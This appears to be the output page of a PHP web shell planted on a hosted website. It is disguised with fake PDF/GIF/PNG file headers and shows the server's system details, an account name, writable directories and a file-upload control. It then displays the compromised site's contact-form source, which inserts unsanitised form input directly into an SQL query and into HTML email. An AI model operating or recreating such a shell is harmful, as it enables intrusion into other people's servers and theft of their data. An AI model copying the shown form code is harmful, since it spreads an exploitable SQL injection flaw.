%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_358eb648/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_358eb648/function.php
<?php include "config.php"; ?>
<?php
// Form Submit Start 
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;


require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';



// $actual_link = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];

$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https://" : "http://";
$domain = $_SERVER['HTTP_HOST'];
$actual_link = $protocol . $domain . $_SERVER['REQUEST_URI'];

// English language code start here.....
 if(isset($_POST['eng'])){
    $english='english';
    $_SESSION['eng']=$english;
    setcookie('eng',$english,time()+ 60*60*24*365);
    setcookie('ar',$_SESSION['ar'],60);
    unset($_SESSION['ar']);
    echo "<script>window.location='".$actual_link."';</script>";
}
// English language code wrap here.....

// Arabic language code start here.....
 if(isset($_POST['ar'])){
    $arabic='arabic';
    $_SESSION['ar']=$arabic;
    setcookie('ar',$arabic,time()+ 60*60*24*365);
    setcookie('eng',$_SESSION['eng'],60);
    unset($_SESSION['eng']);
    echo "<script>window.location='".$actual_link."';</script>";
}
// Arabic language code wrap here.....
?>


<?php
if(isset($_POST['contact'])){
$name=$_POST['name'];
$email=$_POST['email'];
$service=$_POST['subject'];
$phone=$_POST['phone'];
$message1=$_POST['message'];
$add_date=date('Y-m-d');

$email_config=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM email_setting WHERE id=1"));

$host=$email_config['host'];
$port=$email_config['port'];
$username=$email_config['email'];
$password=$email_config['password'];
$message=$email_config['message'];

$email_temp='
<table style="border: solid 2px #DDEEEE; border-collapse: collapse; border-spacing: 0; font: normal 14px Roboto, sans-serif;">
<thead>

<tr>

<th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">
        Full Name
</th>


<th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">
        Email Address
</th>

<th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">
        Phone Number
</th>

<th style="background-color: #DDEFEF; border: solid 1px #DDEEEE; color: #336B6B;  padding: 10px; text-align: left; text-shadow: 1px 1px 1px #fff;">
    Subject
</th>

      
</tr>

</thead>

<tbody>
<tr>

<td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$name.'</td>

<td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$email.'</td>

<td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$phone.'</td>

<td style="border: solid 1px #DDEEEE; color: #333; padding: 10px; text-shadow: 1px 1px 1px #fff;">'.$service.'</td>

</tr>
</tbody>
</table>
';




    $mail = new PHPMailer(true);
    // $mail->SMTPDebug = 2;
    $mail->isSMTP();                                           
    $mail->Host       = ''.$host.'';                     
    $mail->SMTPAuth   = true;                                   
    $mail->Username   = ''.$username.'';                    
    $mail->Password   = ''.$password.'';                             
    $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            
    $mail->Port       = $port;                                    
    $mail->setFrom($username, 'Aamak Contact');
    $mail->addAddress($email);         
    $mail->isHTML(true);                                 
    $mail->Subject = 'Aamak | Contact Enquiry ';
    $mail->Body    = $email_temp;
   

if($mail->send()){
move_uploaded_file($file_tmp,$file_path);
mysqli_query($conn,"INSERT `enquiry_tbl` SET 
`name`='$name',
`email`='$email',
`phone`='$phone',
`subject`='$service',
`message`='$message1',
`received_date`='$add_date'")or die(mysqli_error($conn)); 
$_SESSION['name']=$name;
$_SESSION['email']=$email;
echo "<script>window:location='thankyou.php'</script>";
}
else{ 
 $_SESSION['act6']=$mail->Errorinfo;     
}
}
?>













VaKeR 2022